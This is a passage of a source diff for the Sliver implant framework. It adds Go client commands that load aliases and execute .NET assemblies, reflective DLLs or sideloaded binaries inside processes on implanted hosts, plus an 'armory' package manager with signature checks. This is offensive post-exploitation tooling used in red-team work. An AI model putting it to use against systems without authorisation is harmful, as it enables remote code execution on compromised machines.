+func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
+	proc, ok := defaultHostProc[targetOS]
+	if !ok {
+		err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
+	}
+	return
+}
+
+func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
+	filePath := ""
+	for _, extFile := range a.Files {
+		if targetOS == extFile.OS && targetArch == extFile.Arch {
+			filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
+			break
+		}
+	}
+	if filePath == "" {
+		err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
+		return "", err
+	}
+	if _, err := os.Stat(filePath); os.IsNotExist(err) {
+		err = fmt.Errorf("alias file not found: %s", filePath)
+		return "", err
+	}
+	return filePath, nil
+}
+
+// AliasesLoadCmd - Locally load a alias into the Sliver shell.
+func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	dirPath := ctx.Args.String("dir-path")
+	alias, err := LoadAlias(dirPath, con)
+	if err != nil {
+		con.PrintErrorf("Failed to load alias: %s\n", err)
+	} else {
+		con.PrintInfof("%s alias has been loaded\n", alias.Name)
+	}
+}
+
+// LoadAlias - Load an alias into the Sliver shell from a given directory
+func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
+	// retrieve alias manifest
+	var err error
+	manifestPath, err = filepath.Abs(manifestPath)
+	if err != nil {
+		return nil, err
+	}
+
+	// parse it
+	data, err := ioutil.ReadFile(manifestPath)
+	if err != nil {
+		return nil, err
+	}
+	aliasManifest, err := ParseAliasManifest(data)
+	if err != nil {
+		return nil, err
+	}
+	aliasManifest.RootPath = filepath.Dir(manifestPath)
+	// for each alias command, add a new app command
+
+	// do not add if the command already exists
+	if cmdExists(aliasManifest.CommandName, con.App) {
+		return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
+	}
+
+	helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
+	longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
+	longHelpMsg += "\n\n⚠️  If you're having issues passing arguments to the alias please read:\n"
+	longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
+	addAliasCmd := &grumble.Command{
+		Name:     aliasManifest.CommandName,
+		Help:     helpMsg,
+		LongHelp: longHelpMsg,
+		Run: func(extCtx *grumble.Context) error {
+			con.Println()
+			runAliasCommand(extCtx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			if aliasManifest.IsAssembly {
+				f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
+				f.String("c", "class", "", "Optional class name (required for .NET DLL)")
+				f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
+				f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+			}
+			f.String("p", "process", "", "Path to process to host the shared object")
+			f.Bool("s", "save", false, "Save output to disk")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.StringList("arguments", "arguments", grumble.Default([]string{}))
+		},
+		HelpGroup: consts.AliasHelpGroup,
+	}
+	con.App.AddCommand(addAliasCmd)
+
+	// Have to use a global map here, as passing the aliasCmd
+	// either by value or by ref fucks things up
+	loadedAliases[aliasManifest.CommandName] = &loadedAlias{
+		Manifest: aliasManifest,
+		Command:  addAliasCmd,
+	}
+
+	return aliasManifest, nil
+}
+
+// ParseAliasManifest - Parse an alias manifest
+func ParseAliasManifest(data []byte) (*AliasManifest, error) {
+	// parse it
+	alias := &AliasManifest{}
+	err := json.Unmarshal(data, alias)
+	if err != nil {
+		return nil, err
+	}
+	if alias.Name == "" {
+		return nil, fmt.Errorf("missing alias name in manifest")
+	}
+	if alias.CommandName == "" {
+		return nil, fmt.Errorf("missing command.name in alias manifest")
+	}
+	if alias.Help == "" {
+		return nil, fmt.Errorf("missing command.help in alias manifest")
+	}
+
+	for _, aliasFile := range alias.Files {
+		if aliasFile.OS == "" {
+			return nil, fmt.Errorf("missing command.files.os in alias manifest")
+		}
+		aliasFile.OS = strings.ToLower(aliasFile.OS)
+		if aliasFile.Arch == "" {
+			return nil, fmt.Errorf("missing command.files.arch in alias manifest")
+		}
+		aliasFile.Arch = strings.ToLower(aliasFile.Arch)
+		aliasFile.Path = util.ResolvePath(aliasFile.Path)
+		if aliasFile.Path == "" || aliasFile.Path == "/" {
+			return nil, fmt.Errorf("missing command.files.path in alias manifest")
+		}
+	}
+
+	return alias, nil
+}
+
+func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	var goos string
+	var goarch string
+	if session != nil {
+		goos = session.OS
+		goarch = session.Arch
+	} else {
+		goos = beacon.OS
+		goarch = beacon.Arch
+	}
+
+	loadedAlias, ok := loadedAliases[ctx.Command.Name]
+	if !ok {
+		con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
+		return
+	}
+	aliasManifest := loadedAlias.Manifest
+	binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
+	if err != nil {
+		con.PrintErrorf("Fail to find alias file: %s\n", err)
+		return
+	}
+	args := ctx.Args.StringList("arguments")
+	var extArgs string
+	if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
+		extArgs = aliasManifest.DefaultArgs
+	} else {
+		extArgs = strings.Join(args, " ")
+	}
+	entryPoint := aliasManifest.Entrypoint
+	processName := ctx.Flags.String("process")
+	if processName == "" {
+		processName, err = aliasManifest.getDefaultProcess(goos)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	isDLL := false
+	if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
+		isDLL = true
+	}
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	var outFilePath *os.File
+	if ctx.Flags.Bool("save") {
+		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
+		outFilePath, err = ioutil.TempFile("", outFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+
+	if aliasManifest.IsAssembly {
+
+		// Execute Assembly
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
+			Request:   con.ActiveTarget.Request(ctx),
+			IsDLL:     isDLL,
+			Process:   processName,
+			Arguments: extArgs,
+			Assembly:  binData,
+			Arch:      ctx.Flags.String("arch"),
+			Method:    ctx.Flags.String("method"),
+			ClassName: ctx.Flags.String("class"),
+			AppDomain: ctx.Flags.String("app-domain"),
+		})
+		ctrl <- true
+		<-ctrl
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
+			con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+				err = proto.Unmarshal(task.Response, executeAssemblyResp)
+				if err != nil {
+					con.PrintErrorf("Failed to decode call ext response %s\n", err)
+					return
+				}
+				PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
+			})
+			con.PrintAsyncResponse(executeAssemblyResp.Response)
+		} else {
+			PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
+		}
+
+	} else if aliasManifest.IsReflective {
+
+		// Spawn DLL
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
+			Request:     con.ActiveTarget.Request(ctx),
+			Args:        strings.Trim(extArgs, " "),
+			Data:        binData,
+			ProcessName: processName,
+			EntryPoint:  aliasManifest.Entrypoint,
+			Kill:        true,
+		})
+		ctrl <- true
+		<-ctrl
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
+			con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+				err = proto.Unmarshal(task.Response, spawnDllResp)
+				if err != nil {
+					con.PrintErrorf("Failed to decode call ext response %s\n", err)
+					return
+				}
+				PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
+			})
+			con.PrintAsyncResponse(spawnDllResp.Response)
+		} else {
+			PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
+		}
+
+	} else {
+
+		// Sideload
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
+			Request:     con.ActiveTarget.Request(ctx),
+			Args:        extArgs,
+			Data:        binData,
+			EntryPoint:  entryPoint,
+			ProcessName: processName,
+			Kill:        true,
+			IsDLL:       isDLL,
+		})
+		ctrl <- true
+		<-ctrl
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		if sideloadResp.Response != nil && sideloadResp.Response.Async {
+			con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+				err = proto.Unmarshal(task.Response, sideloadResp)
+				if err != nil {
+					con.PrintErrorf("Failed to decode call ext response %s\n", err)
+					return
+				}
+				PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
+			})
+			con.PrintAsyncResponse(sideloadResp.Response)
+		} else {
+			PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
+		}
+	}
+}
+
+// PrintSpawnDLLOutput - Prints the output of a spawn dll command
+func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
+	con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
+	if outFilePath != nil {
+		outFilePath.Write([]byte(spawnDllResp.GetResult()))
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	}
+}
+
+// PrintSideloadOutput - Prints the output of a sideload command
+func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
+	con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
+	if outFilePath != nil {
+		outFilePath.Write([]byte(sideloadResp.GetResult()))
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	}
+}
+
+// PrintAssemblyOutput - Prints the output of an execute-assembly command
+func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
+	con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
+	if outFilePath != nil {
+		outFilePath.Write(execAsmResp.GetOutput())
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	}
+}
+
+func cmdExists(name string, app *grumble.App) bool {
+	for _, c := range app.Commands().All() {
+		if name == c.Name {
+			return true
+		}
+	}
+	return false
+}

client/command/alias/remove.go

@@ -0,0 +1,75 @@
+package alias
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"errors"
+	"fmt"
+	"os"
+	"path/filepath"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
+func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Args.String("name")
+	if name == "" {
+		con.PrintErrorf("Extension name is required\n")
+		return
+	}
+	confirm := false
+	prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
+	survey.AskOne(prompt, &confirm)
+	if !confirm {
+		return
+	}
+	err := RemoveAliasByCommandName(name, con)
+	if err != nil {
+		con.PrintErrorf("Error removing alias: %s\n", err)
+		return
+	} else {
+		con.PrintInfof("Alias '%s' removed\n", name)
+	}
+}
+
+// RemoveAliasByCommandName - Remove an alias by command name
+func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
+	if commandName == "" {
+		return errors.New("command name is required")
+	}
+	if _, ok := loadedAliases[commandName]; !ok {
+		return errors.New("alias not loaded")
+	}
+	delete(loadedAliases, commandName)
+	con.App.Commands().Remove(commandName)
+	extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
+	if _, err := os.Stat(extPath); os.IsNotExist(err) {
+		return nil
+	}
+	err := os.RemoveAll(extPath)
+	if err != nil {
+		return err
+	}
+
+	return nil
+}

client/command/armory/armory.go

@@ -0,0 +1,505 @@
+package armory
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/base64"
+	"errors"
+	"fmt"
+	"net/url"
+	"strings"
+	"sync"
+	"time"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/alias"
+	"github.com/bishopfox/sliver/client/command/extensions"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/server/cryptography/minisign"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"golang.org/x/term"
+)
+
+type ArmoryIndex struct {
+	Aliases    []*ArmoryPackage `json:"aliases"`
+	Extensions []*ArmoryPackage `json:"extensions"`
+	Bundles    []*ArmoryBundle  `json:"bundles"`
+}
+
+type ArmoryPackage struct {
+	Name        string `json:"name"`
+	CommandName string `json:"command_name"`
+	RepoURL     string `json:"repo_url"`
+	PublicKey   string `json:"public_key"`
+
+	IsAlias bool `json:"-"`
+}
+
+type ArmoryBundle struct {
+	Name     string   `json:"name"`
+	Packages []string `json:"packages"`
+}
+
+type ArmoryHTTPConfig struct {
+	IgnoreCache          bool
+	ProxyURL             *url.URL
+	Timeout              time.Duration
+	DisableTLSValidation bool
+}
+
+type indexCacheEntry struct {
+	RepoURL string
+	Fetched time.Time
+	Index   ArmoryIndex
+	LastErr error
+}
+
+type pkgCacheEntry struct {
+	RepoURL   string
+	Fetched   time.Time
+	Pkg       ArmoryPackage
+	Sig       minisign.Signature
+	Alias     *alias.AliasManifest
+	Extension *extensions.ExtensionManifest
+	LastErr   error
+}
+
+var (
+	// public key -> armoryCacheEntry
+	indexCache = sync.Map{}
+	// public key -> armoryPkgCacheEntry
+	pkgCache = sync.Map{}
+
+	// cacheTime - How long to cache the index/pkg manifests
+	cacheTime = time.Hour
+
+	// This will kill a download if exceeded so needs to be large
+	defaultTimeout = 15 * time.Minute
+)
+
+// ArmoryCmd - The main armory command
+func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	armoriesConfig := assets.GetArmoriesConfig()
+	con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
+	clientConfig := parseArmoryHTTPConfig(ctx)
+	indexes := fetchIndexes(armoriesConfig, clientConfig)
+	if len(indexes) != len(armoriesConfig) {
+		con.Printf("errors!\n")
+		indexCache.Range(func(key, value interface{}) bool {
+			cacheEntry := value.(indexCacheEntry)
+			if cacheEntry.LastErr != nil {
+				con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
+			}
+			return true
+		})
+	} else {
+		con.Printf("done!\n")
+	}
+
+	if 0 < len(indexes) {
+		con.PrintInfof("Fetching package information ... ")
+		fetchPackageSignatures(indexes, clientConfig)
+		errorCount := 0
+		aliases := []*alias.AliasManifest{}
+		exts := []*extensions.ExtensionManifest{}
+		pkgCache.Range(func(key, value interface{}) bool {
+			cacheEntry := value.(pkgCacheEntry)
+			if cacheEntry.LastErr != nil {
+				errorCount++
+				if errorCount == 0 {
+					con.Printf("errors!\n")
+				}
+				con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
+			} else {
+				if cacheEntry.Pkg.IsAlias {
+					aliases = append(aliases, cacheEntry.Alias)
+				} else {
+					exts = append(exts, cacheEntry.Extension)
+				}
+			}
+			return true
+		})
+		if errorCount == 0 {
+			con.Printf("done!\n")
+		}
+		if 0 < len(aliases) || 0 < len(exts) {
+			con.Println()
+			PrintArmoryPackages(aliases, exts, con)
+		} else {
+			con.PrintInfof("No packages found\n")
+		}
+
+		con.Println()
+		bundles := bundlesInCache()
+		if 0 < len(bundles) {
+			PrintArmoryBundles(bundles, con)
+		} else {
+			con.PrintInfof("No bundles found\n")
+		}
+	} else {
+		con.PrintInfof("No indexes found\n")
+	}
+}
+
+func refresh(clientConfig ArmoryHTTPConfig) {
+	armoriesConfig := assets.GetArmoriesConfig()
+	indexes := fetchIndexes(armoriesConfig, clientConfig)
+	fetchPackageSignatures(indexes, clientConfig)
+}
+
+func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
+	aliases := []*alias.AliasManifest{}
+	exts := []*extensions.ExtensionManifest{}
+	pkgCache.Range(func(key, value interface{}) bool {
+		cacheEntry := value.(pkgCacheEntry)
+		if cacheEntry.LastErr == nil {
+			if cacheEntry.Pkg.IsAlias {
+				aliases = append(aliases, cacheEntry.Alias)
+			} else {
+				exts = append(exts, cacheEntry.Extension)
+			}
+		}
+		return true
+	})
+	return aliases, exts
+}
+
+func bundlesInCache() []*ArmoryBundle {
+	bundles := []*ArmoryBundle{}
+	indexCache.Range(func(key, value interface{}) bool {
+		indexBundles := value.(indexCacheEntry).Index.Bundles
+		bundles = append(bundles, indexBundles...)
+		return true
+	})
+	return bundles
+}
+
+// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
+func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
+	results := []string{}
+	aliases, exts := packagesInCache()
+	bundles := bundlesInCache()
+	for _, aliasPkg := range aliases {
+		if strings.HasPrefix(aliasPkg.CommandName, prefix) {
+			results = append(results, aliasPkg.CommandName)
+		}
+	}
+	for _, extensionPkg := range exts {
+		if strings.HasPrefix(extensionPkg.CommandName, prefix) {
+			results = append(results, extensionPkg.CommandName)
+		}
+	}
+	for _, bundle := range bundles {
+		if strings.HasPrefix(bundle.Name, prefix) {
+			results = append(results, bundle.Name)
+		}
+	}
+	return results
+}
+
+// PrintArmoryPackages - Prints the armory packages
+func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
+	width, _, err := term.GetSize(0)
+	if err != nil {
+		width = 999
+	}
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.SetTitle(console.Bold + "Packages" + console.Normal)
+
+	if con.Settings.SmallTermWidth < width {
+		tw.AppendHeader(table.Row{
+			"Command Name",
+			"Version",
+			"Type",
+			"Help",
+			"URL",
+		})
+	} else {
+		tw.AppendHeader(table.Row{
+			"Command Name",
+			"Version",
+			"Type",
+			"Help",
+		})
+	}
+
+	// Columns start at 1 for some dumb reason
+	tw.SortBy([]table.SortBy{
+		{Number: 1, Mode: table.Asc},
+	})
+
+	type pkgInfo struct {
+		CommandName string
+		Version     string
+		Type        string
+		Help        string
+		URL         string
+	}
+	entries := []pkgInfo{}
+	for _, aliasPkg := range aliases {
+		entries = append(entries, pkgInfo{
+			CommandName: aliasPkg.CommandName,
+			Version:     aliasPkg.Version,
+			Type:        "Alias",
+			Help:        aliasPkg.Help,
+			URL:         aliasPkg.RepoURL,
+		})
+	}
+	for _, extension := range exts {
+		entries = append(entries, pkgInfo{
+			CommandName: extension.CommandName,
+			Version:     extension.Version,
+			Type:        "Extension",
+			Help:        extension.Help,
+			URL:         extension.RepoURL,
+		})
+	}
+
+	rows := []table.Row{}
+	for _, pkg := range entries {
+		color := console.Normal
+		if extensions.CmdExists(pkg.CommandName, con.App) {
+			color = console.Green
+		}
+		if con.Settings.SmallTermWidth < width {
+			rows = append(rows, table.Row{
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
+			})
+		} else {
+			rows = append(rows, table.Row{
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
+			})
+		}
+	}
+	tw.AppendRows(rows)
+	con.Printf("%s\n", tw.Render())
+}
+
+// PrintArmoryBundles - Prints the armory bundles
+func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.SetTitle(console.Bold + "Bundles" + console.Normal)
+	tw.AppendHeader(table.Row{
+		"Name",
+		"Contains",
+	})
+	tw.SortBy([]table.SortBy{
+		{Name: "Name", Mode: table.Asc},
+	})
+	for _, bundle := range bundles {
+		if len(bundle.Packages) < 1 {
+			continue
+		}
+		packages := bundle.Packages[0]
+		if 1 < len(packages) {
+			packages += ", "
+		}
+		for index, pkgName := range bundle.Packages[1:] {
+			if index%5 == 4 {
+				packages += pkgName + "\n"
+			} else {
+				packages += pkgName
+				if index != len(bundle.Packages)-2 {
+					packages += ", "
+				}
+			}
+		}
+		tw.AppendRow(table.Row{
+			bundle.Name,
+			packages,
+		})
+	}
+	con.Printf("%s\n", tw.Render())
+}
+
+func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
+	var proxyURL *url.URL
+	rawProxyURL := ctx.Flags.String("proxy")
+	if rawProxyURL != "" {
+		proxyURL, _ = url.Parse(rawProxyURL)
+	}
+
+	timeout := defaultTimeout
+	rawTimeout := ctx.Flags.String("timeout")
+	if rawTimeout != "" {
+		var err error
+		timeout, err = time.ParseDuration(rawTimeout)
+		if err != nil {
+			timeout = defaultTimeout
+		}
+	}
+
+	return ArmoryHTTPConfig{
+		IgnoreCache:          ctx.Flags.Bool("ignore-cache"),
+		ProxyURL:             proxyURL,
+		Timeout:              timeout,
+		DisableTLSValidation: ctx.Flags.Bool("insecure"),
+	}
+}
+
+// fetch armory indexes, only returns indexes that were fetched successfully
+// errors are still in the cache objects however and can be checked
+func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
+	wg := &sync.WaitGroup{}
+	for _, armoryConfig := range armoryConfigs {
+		wg.Add(1)
+		go fetchIndex(armoryConfig, clientConfig, wg)
+	}
+	wg.Wait()
+	indexes := []ArmoryIndex{}
+	indexCache.Range(func(key, value interface{}) bool {
+		cacheEntry := value.(indexCacheEntry)
+		if cacheEntry.LastErr == nil {
+			indexes = append(indexes, cacheEntry.Index)
+		}
+		return true
+	})
+	return indexes
+}
+
+func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
+	defer wg.Done()
+	cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
+	if ok {
+		cached := cacheEntry.(indexCacheEntry)
+		if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
+			return
+		}
+	}
+
+	armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
+	defer func() {
+		armoryResult.Fetched = time.Now()
+		indexCache.Store(armoryConfig.PublicKey, *armoryResult)
+	}()
+
+	repoURL, err := url.Parse(armoryConfig.RepoURL)
+	if err != nil {
+		armoryResult.LastErr = err
+		return
+	}
+	if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
+		armoryResult.LastErr = errors.New("invalid repo url scheme in index")
+		return
+	}
+
+	var index *ArmoryIndex
+	if indexParser, ok := indexParsers[repoURL.Hostname()]; ok {
+		index, err = indexParser(armoryConfig, clientConfig)
+	} else {
+		index, err = DefaultArmoryIndexParser(armoryConfig, clientConfig)
+	}
+	if index != nil {
+		armoryResult.Index = *index
+	}
+	if err != nil {
+		armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
+	}
+}
+
+func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
+	wg := &sync.WaitGroup{}
+	for _, index := range indexes {
+		for _, armoryPkg := range index.Extensions {
+			wg.Add(1)
+			armoryPkg.IsAlias = false
+			go fetchPackageSignature(wg, armoryPkg, clientConfig)
+		}
+		for _, armoryPkg := range index.Aliases {
+			wg.Add(1)
+			armoryPkg.IsAlias = true
+			go fetchPackageSignature(wg, armoryPkg, clientConfig)
+		}
+	}
+	wg.Wait()
+}
+
+func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
+	defer wg.Done()
+	cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
+	if ok {
+		cached := cacheEntry.(pkgCacheEntry)
+		if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
+			return
+		}
+	}
+
+	pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
+	defer func() {
+		pkgCacheEntry.Fetched = time.Now()
+		pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
+	}()
+
+	repoURL, err := url.Parse(armoryPkg.RepoURL)
+	if err != nil {
+		pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
+		return
+	}
+	if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
+		pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
+		return
+	}
+
+	var sig *minisign.Signature
+	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
+		sig, _, err = pkgParser(armoryPkg, true, clientConfig)
+	} else {
+		sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
+	}
+	if err != nil {
+		pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
+		return
+	}
+	if sig != nil {
+		pkgCacheEntry.Sig = *sig
+	} else {
+		pkgCacheEntry.LastErr = errors.New("nil signature")
+		return
+	}
+	if armoryPkg != nil {
+		pkgCacheEntry.Pkg = *armoryPkg
+	}
+	if err == nil {
+		manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
+		if err != nil {
+			pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
+			return
+		}
+		if armoryPkg.IsAlias {
+			pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
+		} else {
+			pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
+		}
+		if err != nil {
+			pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
+		}
+	}
+}

client/command/armory/armory_test.go

@@ -0,0 +1 @@
+package armory

client/command/armory/install.go

@@ -0,0 +1,284 @@
+package armory
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"errors"
+	"io/ioutil"
+	"net/url"
+	"os"
+	"path/filepath"
+
+	"github.com/bishopfox/sliver/client/command/alias"
+	"github.com/bishopfox/sliver/client/command/extensions"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/server/cryptography/minisign"
+	"github.com/desertbit/grumble"
+)
+
+var (
+	ErrPackageNotFound = errors.New("package not found")
+)
+
+// ArmoryInstallCmd - The armory install command
+func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Args.String("name")
+	if name == "" {
+		con.PrintErrorf("A package or bundle name is required")
+		return
+	}
+	clientConfig := parseArmoryHTTPConfig(ctx)
+	refresh(clientConfig)
+	err := installPackageByName(name, clientConfig, con)
+	if err == nil {
